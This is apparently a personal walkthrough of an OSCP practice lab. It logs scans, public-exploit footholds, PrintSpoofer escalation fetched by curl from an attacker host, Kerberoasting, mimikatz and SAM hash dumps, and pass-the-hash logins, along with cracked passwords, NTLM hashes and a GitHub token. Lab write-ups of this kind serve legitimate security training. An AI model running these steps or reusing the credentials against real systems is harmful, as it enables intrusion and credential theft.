OSCP - A

1st 192.168.xxx.141 - OK

```
nmap -T5 -Pn 192.168.196.141 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 14:00 CEST
Warning: 192.168.196.141 giving up on port because retransmission cap hit
(2).
Nmap scan report for 192.168.196.141
Host is up (0.044s latency).
Not shown: 65483 closed tcp ports (conn-refused), 32 filtered tcp ports
(no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
81/tcp    open  hosts2-ns
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3307/tcp  open  opsession-prxy
5040/tcp  open  unknown
5985/tcp  open  wsman
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
56263/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 46.98 seconds
```

```
nmap -T5 -Pn 192.168.196.141 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 14:00 CEST
Warning: 192.168.196.141 giving up on port because retransmission cap hit
(2).
```

```
Nmap scan report for 192.168.196.141
Host is up (0.044s latency).
Not shown: 65483 closed tcp ports (conn-refused), 32 filtered tcp ports
(no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
81/tcp    open  hosts2-ns
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3307/tcp  open  opsession-prxy
5040/tcp  open  unknown
5985/tcp  open  wsman
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
56263/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 46.98 seconds
```

Foothold

```
Using content discovery on http://192.168.196.141:81/db/

found apsystem.sql

INSERT INTO `admin` (`id`, `username`, `password`, `firstname`,
`lastname`, `photo`, `created_on`) VALUES
(1, 'nurhodelta',
'$2y$10$fCOiMky4n5hCJx3cpsG20Od4wHtlkCLKmO6VLobJNRIg9ooHTkgjK', 'Neovic',
'Devierte', 'facebook-profile-image.jpeg', '2018-04-30');
```

```
RCE unauth - Attendance and Payroll System
```

```
python3 50801.py http://192.168.135.141:81
```

Privilege Escalation

```
c:\wamp64>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description
State
============================= ========================================
========
SeShutdownPrivilege           Shut down the system
Disabled
SeChangeNotifyPrivilege       Bypass traverse checking
Enabled
SeUndockPrivilege             Remove computer from docking station
Disabled
SeImpersonatePrivilege        Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege       Create global objects
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
SeTimeZonePrivilege           Change the time zone
Disabled

c:\wamp64>curl http://192.168.119.135/PrintSpoofer64.exe -o
PrintSpoofer64.exe
curl http://192.168.119.135/PrintSpoofer64.exe -o PrintSpoofer64.exe

c:\wamp64>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19044.2251]
```

Run ADPEAS found two kerberoastable two hashes

```
cracked hash for web_svc

-------

hashcat -m 13100 web_svc.txt /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*web_svc$oscp.exam$HTTP/MS01.oscp.exam*$8e383d63e6b8069e218a43
1c80ad651a$5577bf742ddded6a6bfdb523d2a8c27531cb821c1387ee2020110e45f2ca5ea
b45895b8581d311d3855e34546d0948106994e1453c3601e520c043a31bd8512e5ee016d78
fa96c654f35b7e861d6304b7aaf0d2dc26fce485e786aa010419a5417709c0363cb2fbadae
a1a463e35e7c4cee61f802c0debddfcc077fb5c1c9188df6149c8286a43dd628cddd025a8e
e4717968ba9b333ebb83b1a6a582cdfa731ad8b098a91176b0623f1a1f037395873a6ff3c9
ce1657b83950d84fa0d102aa3f046094b85d60b3e2d22d4ec04d8349bdc8e5035597f8fe25
c0b9b0a779e4c15bc50d9c1e4d5a89c15961504ebe1595700e58602af8a8b103e2c25c8e46
709d765ac8951eb10765cdbe2e7724f509552596a1c9ac923618cf3496816ee11d49333eda
0ee31a82631b6c9c7d1dfc386433f6e2e2b3319c1a9a744879f7ea4df156cbde3d706ea327
c610442c85da87ceb89866f873e1cab0f3f78055657b33d22e44884ad8596b2dbae9a9321a
85b56918a2cf56ff326e04d05b4b749f3b4102e04c9ae6f5ae47134c5d5fdfe9b00ee2e35e
a51108ceb542d01cef64d2fa598d816cb9b6493e5a05ca6d7db15b50beb770ee5cdee27c1b
03fbe60a40360a9809eb278cbe5defeb408598c7605b61db6600b35dc298f32b2b43ad62dc
7e7b5e02aaeff41438ebaa94b48192b3c693b7dddc4174e434ccbf7db7f8706c6c560b02ce
7315a762b9b464401888a9934b8ebc8a3ba068a84e0fc8021a80b1ffc56efffa453615c2f3
d6578fd04755841dadff0dceae10b463773e1d3c933b46f4f0e9a070dc713385bfffbd8435
fd24dddbb388aa14793854130f4f7f5c90d83c8d19cdd3a71f62492a9402d81e2cfc0c809a
606dcbc7e825a77653d5abe509457a51497d949cac00d7f6192af2ffa15fecb04906c4ac2b
ef8330b4eb722886a2129f6c807f4e7d5974a1d94e95cbfe3c72a0a3a56f238b6046bda3ee
2607bb5b612a038faffb011719dbd1c43fdf15fc2c653cf9b0665cde5832991c2be31e024f
211a18e09dca21dd6f6bdd670ce9f3c09c3523bd0a2f3d0197f592fa3d6b2e8d38d1331666
7e196f3e13e7a7d5461de67d1770b8d5a2d53332f768561c007a993f7850a385bcc90a392f
4c02d235375a032ca26fe59a030d9d27a542a2b053f03ec5d78f810228fefc44fb368770f0
fbb4c1eb77a785fe49dd78806368244225aeeea5664c61a5aff3ce5403e49bbddbf26bdeb7
649baf543e830deaec7931ba1e110c7f71a108976c8f630356b9f169e95952a8efe6a87d75
21862918067d05d0daf5e6d0f26c7c2e45d386cbf95907ef2d341d288cb16abb4a46843d54
468646a465ce7365dbda87b006a6278c5449371bf64b205e89fdabfd4ceb939d7139dc6d24
9e3044653e4b6b042cd4b1e27202043406f3cbe3f40c3e6631dd9b11c08a53ce16dd677383
c1e4b98769379b08f423a54ddd328f2f083d01eeca498beb927c8c7d8fdea94cc2d2663302
27aeeb2ca835c743e477b0403c8:Diamond1
```

Dumped NTLM hashes through mimikatz

```
C:\Windows\Temp>mimikatz.exe
mimikatz.exe
```

```
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 392439 (00000000:0005fcf7)
Session           : Interactive from 1
User Name         : celia.almeda
Domain            : OSCP
Logon Server      : DC01
Logon Time        : 3/2/2023 9:09:52 PM
SID               : S-1-5-21-2610934713-1581164095-2706428072-1105
    msv :
     [00000003] Primary
     * Username : celia.almeda
     * Domain   : OSCP
     * NTLM     : e728ecbadfb02f51ce8eed753f3ff3fd
     * SHA1     : 8cb61017910862af238631bf7aaae38df64998cd
     * DPAPI    : f3ad0317c20e905dd62889dd51e7c52f
    tspkg :
    wdigest :
     * Username : celia.almeda
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : celia.almeda
     * Domain   : OSCP.EXAM
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 136975 (00000000:0002170f)
Session           : Service from 0
User Name         : Mary.Williams
Domain            : MS01
```

```
Logon Server      : MS01
Logon Time        : 3/2/2023 9:09:28 PM
SID               : S-1-5-21-2114389728-3978811169-1968162427-1002
    msv :
     [00000003] Primary
     * Username : Mary.Williams
     * Domain   : MS01
     * NTLM     : 9a3121977ee93af56ebd0ef4f527a35e
     * SHA1     : 4b1beca6645e6c3edb991248bcd992ec2a90fbb5
    tspkg :
    wdigest :
     * Username : Mary.Williams
     * Domain   : MS01
     * Password : (null)
    kerberos :
     * Username : Mary.Williams
     * Domain   : MS01
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 136884 (00000000:000216b4)
Session           : Service from 0
User Name         : Mary.Williams
Domain            : MS01
Logon Server      : MS01
Logon Time        : 3/2/2023 9:09:28 PM
SID               : S-1-5-21-2114389728-3978811169-1968162427-1002
    msv :
     [00000003] Primary
     * Username : Mary.Williams
     * Domain   : MS01
     * NTLM     : 9a3121977ee93af56ebd0ef4f527a35e
     * SHA1     : 4b1beca6645e6c3edb991248bcd992ec2a90fbb5
    tspkg :
    wdigest :
     * Username : Mary.Williams
     * Domain   : MS01
     * Password : (null)
    kerberos :
     * Username : Mary.Williams
     * Domain   : MS01
```

```
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 135447 (00000000:00021117)
Session           : Service from 0
User Name         : Mary.Williams
Domain            : MS01
Logon Server      : MS01
Logon Time        : 3/2/2023 9:09:27 PM
SID               : S-1-5-21-2114389728-3978811169-1968162427-1002
    msv :
     [00000003] Primary
     * Username : Mary.Williams
     * Domain   : MS01
     * NTLM     : 9a3121977ee93af56ebd0ef4f527a35e
     * SHA1     : 4b1beca6645e6c3edb991248bcd992ec2a90fbb5
    tspkg :
    wdigest :
     * Username : Mary.Williams
     * Domain   : MS01
     * Password : (null)
    kerberos :
     * Username : Mary.Williams
     * Domain   : MS01
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:27 PM
SID               : S-1-5-19
    msv :
    tspkg :
    wdigest :
     * Username : (null)
     * Domain   : (null)
```

```
     * Password : (null)
    kerberos :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 78215 (00000000:00013187)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : oscp.exam
     * Password : 02 dd 07 58 3a 4c 74 11 d8 3a 00 7f 8d 31 f7 b8 4e 97 5d
90 78 3e bc e2 0c 7e 7e 25 06 22 49 5e 71 b1 78 b9 f5 e4 cf 9e 13 18 c8 ad
95 c7 27 26 22 b7 68 81 08 14 5c be d0 ce 81 97 39 ea 75 91 a7 54 11 a8 ca
b3 a8 87 7f 7d aa e2 96 3d 62 47 0d c2 11 7b 98 8a 50 5a 14 dc a9 0a 8d e5
8f 57 67 96 e4 1b c1 4c ce 25 5b 35 82 34 a4 47 bd 6a f8 62 c7 62 84 aa 53
12 e7 38 80 a3 b2 98 91 67 78 58 48 38 27 be 46 ab 34 84 2b f6 10 5c 40 98
74 0a c1 39 07 eb 00 32 c1 94 fc 7e d6 29 e2 83 72 77 02 3e 88 be 25 ef ec
8f 68 ac bf 62 17 45 62 55 d3 89 70 be 29 2b d8 29 f1 30 35 cb 17 a5 34 bf
12 12 2b 82 dc 11 54 22 50 c0 fb 7c cb 74 c9 6e ee f1 5e 5b 7d 78 aa 54 05
21 b8 f8 7a d5 e0 89 2b f1 e6 32 20 42 cc 7c 6b d3 38 19 83 b4
    ssp :
    credman :
    cloudap :
```

```
Authentication Id : 0 ; 78178 (00000000:00013162)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : oscp.exam
     * Password : 02 dd 07 58 3a 4c 74 11 d8 3a 00 7f 8d 31 f7 b8 4e 97 5d
90 78 3e bc e2 0c 7e 7e 25 06 22 49 5e 71 b1 78 b9 f5 e4 cf 9e 13 18 c8 ad
95 c7 27 26 22 b7 68 81 08 14 5c be d0 ce 81 97 39 ea 75 91 a7 54 11 a8 ca
b3 a8 87 7f 7d aa e2 96 3d 62 47 0d c2 11 7b 98 8a 50 5a 14 dc a9 0a 8d e5
8f 57 67 96 e4 1b c1 4c ce 25 5b 35 82 34 a4 47 bd 6a f8 62 c7 62 84 aa 53
12 e7 38 80 a3 b2 98 91 67 78 58 48 38 27 be 46 ab 34 84 2b f6 10 5c 40 98
74 0a c1 39 07 eb 00 32 c1 94 fc 7e d6 29 e2 83 72 77 02 3e 88 be 25 ef ec
8f 68 ac bf 62 17 45 62 55 d3 89 70 be 29 2b d8 29 f1 30 35 cb 17 a5 34 bf
12 12 2b 82 dc 11 54 22 50 c0 fb 7c cb 74 c9 6e ee f1 5e 5b 7d 78 aa 54 05
21 b8 f8 7a d5 e0 89 2b f1 e6 32 20 42 cc 7c 6b d3 38 19 83 b4
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : MS01$
Domain            : OSCP
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-20
```

```
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : ms01$
     * Domain   : OSCP.EXAM
     * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 47859 (00000000:0000baf3)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-96-0-0
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : oscp.exam
     * Password : 02 dd 07 58 3a 4c 74 11 d8 3a 00 7f 8d 31 f7 b8 4e 97 5d
90 78 3e bc e2 0c 7e 7e 25 06 22 49 5e 71 b1 78 b9 f5 e4 cf 9e 13 18 c8 ad
95 c7 27 26 22 b7 68 81 08 14 5c be d0 ce 81 97 39 ea 75 91 a7 54 11 a8 ca
```

```
b3 a8 87 7f 7d aa e2 96 3d 62 47 0d c2 11 7b 98 8a 50 5a 14 dc a9 0a 8d e5
8f 57 67 96 e4 1b c1 4c ce 25 5b 35 82 34 a4 47 bd 6a f8 62 c7 62 84 aa 53
12 e7 38 80 a3 b2 98 91 67 78 58 48 38 27 be 46 ab 34 84 2b f6 10 5c 40 98
74 0a c1 39 07 eb 00 32 c1 94 fc 7e d6 29 e2 83 72 77 02 3e 88 be 25 ef ec
8f 68 ac bf 62 17 45 62 55 d3 89 70 be 29 2b d8 29 f1 30 35 cb 17 a5 34 bf
12 12 2b 82 dc 11 54 22 50 c0 fb 7c cb 74 c9 6e ee f1 5e 5b 7d 78 aa 54 05
21 b8 f8 7a d5 e0 89 2b f1 e6 32 20 42 cc 7c 6b d3 38 19 83 b4
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 47759 (00000000:0000ba8f)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-96-0-1
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : MS01$
     * Domain   : oscp.exam
     * Password : 02 dd 07 58 3a 4c 74 11 d8 3a 00 7f 8d 31 f7 b8 4e 97 5d
90 78 3e bc e2 0c 7e 7e 25 06 22 49 5e 71 b1 78 b9 f5 e4 cf 9e 13 18 c8 ad
95 c7 27 26 22 b7 68 81 08 14 5c be d0 ce 81 97 39 ea 75 91 a7 54 11 a8 ca
b3 a8 87 7f 7d aa e2 96 3d 62 47 0d c2 11 7b 98 8a 50 5a 14 dc a9 0a 8d e5
8f 57 67 96 e4 1b c1 4c ce 25 5b 35 82 34 a4 47 bd 6a f8 62 c7 62 84 aa 53
12 e7 38 80 a3 b2 98 91 67 78 58 48 38 27 be 46 ab 34 84 2b f6 10 5c 40 98
74 0a c1 39 07 eb 00 32 c1 94 fc 7e d6 29 e2 83 72 77 02 3e 88 be 25 ef ec
8f 68 ac bf 62 17 45 62 55 d3 89 70 be 29 2b d8 29 f1 30 35 cb 17 a5 34 bf
12 12 2b 82 dc 11 54 22 50 c0 fb 7c cb 74 c9 6e ee f1 5e 5b 7d 78 aa 54 05
21 b8 f8 7a d5 e0 89 2b f1 e6 32 20 42 cc 7c 6b d3 38 19 83 b4
    ssp :
```

```
    credman :
    cloudap :

Authentication Id : 0 ; 46135 (00000000:0000b437)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               :
    msv :
     [00000003] Primary
     * Username : MS01$
     * Domain   : OSCP
     * NTLM     : 4a2333a738981569a6d25c7b60906502
     * SHA1     : 4d615b523fe14e41d37e3fb47f280f5168874c1a
    tspkg :
    wdigest :
    kerberos :
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : MS01$
Domain            : OSCP
Logon Server      : (null)
Logon Time        : 3/2/2023 9:09:26 PM
SID               : S-1-5-18
    msv :
    tspkg :
    wdigest :
     * Username : MS01$
     * Domain   : OSCP
     * Password : (null)
    kerberos :
     * Username : ms01$
     * Domain   : OSCP.EXAM
     * Password : (null)
    ssp :
    credman :
    cloudap :
```

2nd 10.10.xx.140 - OK

Used found creds from .141

```
sudo proxychains ~/Desktop/OSCP/toolS/evil-winrm/evil-winrm.rb -u
tom_admin -H 4979d69d4ca66955c075c41cf45f24dc -i 10.10.25.142
```

3rd 10.10.xx.142 - OK

Used found creds from .141

```
└─$ proxychains -q crackmapexec smb 10.10.25.142 -u 'web_svc' -p
'Diamond1' --rid-brute
SMB         10.10.25.142    445    MS02             [*] Windows 10.0 Build
19041 x64 (name:MS02) (domain:oscp.exam) (signing:False) (SMBv1:False)
SMB         10.10.25.142    445    MS02             [+]
oscp.exam\web_svc:Diamond1
SMB         10.10.25.142    445    MS02             [+] Brute forcing RIDs
SMB         10.10.25.142    445    MS02             500:
MS02\Administrator (SidTypeUser)
SMB         10.10.25.142    445    MS02             501: MS02\Guest
(SidTypeUser)
SMB         10.10.25.142    445    MS02             503:
MS02\DefaultAccount (SidTypeUser)
SMB         10.10.25.142    445    MS02             504:
MS02\WDAGUtilityAccount (SidTypeUser)
SMB         10.10.25.142    445    MS02             513: MS02\None
(SidTypeGroup)
SMB         10.10.25.142    445    MS02             1002:
MS02\SQLServer2005SQLBrowserUser$MS02 (SidTypeAlias)
```

Tried celias's user and NTLM hash

```
proxychains evil-winrm -u celia.almeda -H e728ecbadfb02f51ce8eed753f3ff3fd
-i 10.10.25.142
```

Privilege Escalation

```
Detected C:\Windows.old and SAM + SYSTEM files in
C:\Windows.old\Windows\System32
```

Download ``SAM and SYSTEM files

```
*Evil-WinRM* PS C:\Users\celia.almeda\Desktop> download
C:\Users\celia.almeda\Desktop\SAM
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SAM
Info: Downloading C:\Users\celia.almeda\Desktop\SAM to
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SAM

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK

Info: Download successful!

*Evil-WinRM* PS C:\Users\celia.almeda\Desktop> download
C:\Users\celia.almeda\Desktop\SYSTEM
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SYSTEM
Info: Downloading C:\Users\celia.almeda\Desktop\SYSTEM to
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SYSTEM

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
Progress: 54% : |▓▓▓▓▓▒▒▒▒▒|

------------------------------------------------
```

```
*Evil-WinRM* PS C:\Users\celia.almeda\Desktop> download
C:\Users\celia.almeda\Desktop\SAM
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SAM
Info: Downloading C:\Users\celia.almeda\Desktop\SAM to
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SAM

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
```

```
Info: Download successful!

*Evil-WinRM* PS C:\Users\celia.almeda\Desktop> download
C:\Users\celia.almeda\Desktop\SYSTEM
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SYSTEM
Info: Downloading C:\Users\celia.almeda\Desktop\SYSTEM to
/home/teodor/Desktop/OSCP/challanges/oscpa/10.10.86.142/SYSTEM

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.25.142:5985
...  OK
Progress: 54% : |▓▓▓▓▓▒▒▒▒▒|

------------------------------------------------
```

Extracted hashes from SAM and SYSTEM file

```
secretsdump.py -sam 'SAM' -system 'SYSTEM' LOCAL

Impacket v0.10.1.dev1+20230203.111903.32178de - Copyright 2022 Fortra

[*] Target system bootKey: 0x8bca2f7ad576c856d79b7111806b533d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d
7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5
976148a933177a:::
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf4
5f24dc:::
Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefe
f9a7021ffd0:::
David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca9
2127c11:::
Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd9
1b94c771:::
[*] Cleaning up...
```

Login with the domain admin hash

```
sudo proxychains ~/Desktop/OSCP/toolS/evil-winrm/evil-winrm.rb -u
tom_admin -H 4979d69d4ca66955c075c41cf45f24dc -i 10.10.25.142
```

4th 192.168.xxx.143 - OK

```
nmap -T5 -Pn 192.168.135.143 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 17:50 CEST
Nmap scan report for 192.168.135.143
Host is up (0.041s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
81/tcp   open  hosts2-ns
443/tcp  open  https
3000/tcp open  ppp
3001/tcp open  nessus
3003/tcp open  cgms
3306/tcp open  mysql
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 97.86 seconds
```


```
nmap -T5 -Pn 192.168.135.143 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 17:50 CEST
Nmap scan report for 192.168.135.143
Host is up (0.041s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
81/tcp   open  hosts2-ns
443/tcp  open  https
3000/tcp open  ppp
3001/tcp open  nessus
3003/tcp open  cgms
3306/tcp open  mysql
5432/tcp open  postgresql
```

```
Nmap done: 1 IP address (1 host up) scanned in 97.86 seconds
```

Foothold

Run content discovery and found:

```
http://192.168.135.143/index.php
http://192.168.135.143:81/
-----------------------------------------------

http://192.168.135.143/api/heartbeat

Found that which says that aerospike is running, searched for exploit for
it.

---------------

https://www.exploit-db.com/exploits/49067
```

The exploit should be edited:

```
┌──(teodor㉿kali)-[~/…/challanges/oscpa/192.168.196.143/exploit]
└─$ python3.8 plm1.py --ahost 192.168.135.143 --pythonshell --
lhost=192.168.119.135 --lport=443

Here is the modified exploit
```

Privilege Escalation

```
screen-4.5 SUID

https://medium.com/r3d-buck3t/overwriting-preload-libraries-to-gain-root-
linux-privesc-77c87b5f3bf8

Compile the exploit using -static
```

5th 192.168.xxx.144 - OK

```
nmap -T5 -Pn 192.168.135.144 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 18:26 CEST
Warning: 192.168.135.144 giving up on port because retransmission cap hit
(2).
Nmap scan report for 192.168.135.144
Host is up (0.046s latency).
Not shown: 65254 closed tcp ports (conn-refused), 278 filtered tcp ports
(no-response)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 98.99 seconds
```

```
nmap -sC -sV 192.168.135.144 -p 21,22,80
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 18:28 CEST
Nmap scan report for 192.168.135.144
Host is up (0.039s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 fbeae1182f1d7b5e75965a98df3d17e4 (ECDSA)
|_  256 66f454421f2516d7f3ebf7449f5a1a0b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-git:
|   192.168.135.144:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file
'description' to name the...
|     Last commit message: Security Update
|     Remotes:
|_      https://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@github.com/PWK-
Challenge-Lab/dev.git
|_http-generator: Nicepage 4.21.12, nicepage.com
| vulners:
|   cpe:/a:apache:http_server:2.4.52:
|       CVE-2022-31813  7.5 https://vulners.com/cve/CVE-2022-31813
|       CVE-2022-23943  7.5 https://vulners.com/cve/CVE-2022-23943
|       CVE-2022-22720  7.5 https://vulners.com/cve/CVE-2022-22720
```

```
|       CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-2022-73123
|       CVE-2022-28615  6.4 https://vulners.com/cve/CVE-2022-28615
|       CVE-2021-44224  6.4 https://vulners.com/cve/CVE-2021-44224
|       CVE-2022-22721  5.8 https://vulners.com/cve/CVE-2022-22721
|       CVE-2022-30556  5.0 https://vulners.com/cve/CVE-2022-30556
|       CVE-2022-29404  5.0 https://vulners.com/cve/CVE-2022-29404
|       CVE-2022-28614  5.0 https://vulners.com/cve/CVE-2022-28614
|       CVE-2022-26377  5.0 https://vulners.com/cve/CVE-2022-26377
|       CVE-2022-22719  5.0 https://vulners.com/cve/CVE-2022-22719
|       CNVD-2022-73122 5.0 https://vulners.com/cnvd/CNVD-2022-73122
|       CNVD-2022-53584 5.0 https://vulners.com/cnvd/CNVD-2022-53584
|       CNVD-2022-53582 5.0 https://vulners.com/cnvd/CNVD-2022-53582
|       CVE-2023-27522  0.0 https://vulners.com/cve/CVE-2023-27522
|       CVE-2023-25690  0.0 https://vulners.com/cve/CVE-2023-25690
|       CVE-2022-37436  0.0 https://vulners.com/cve/CVE-2022-37436
|       CVE-2022-36760  0.0 https://vulners.com/cve/CVE-2022-36760
|_      CVE-2006-20001  0.0 https://vulners.com/cve/CVE-2006-20001
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Home
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds
```

Foothold

Found /.git/ and /cms/.

```
git-dumper http://192.168.135.144/.git git

------
cd git
git show

----


└─$ git show
commit 44a055daf7a0cd777f28f444c0d29ddf3ff08c54 (HEAD -> main)
Author: Stuart <luke@challenge.pwk>
Date:   Fri Nov 18 16:58:34 2022 -0500
```

```
    Security Update

diff --git a/configuration/database.php b/configuration/database.php
index 55b1645..8ad08b0 100644
--- a/configuration/database.php
+++ b/configuration/database.php
@@ -2,8 +2,9 @@
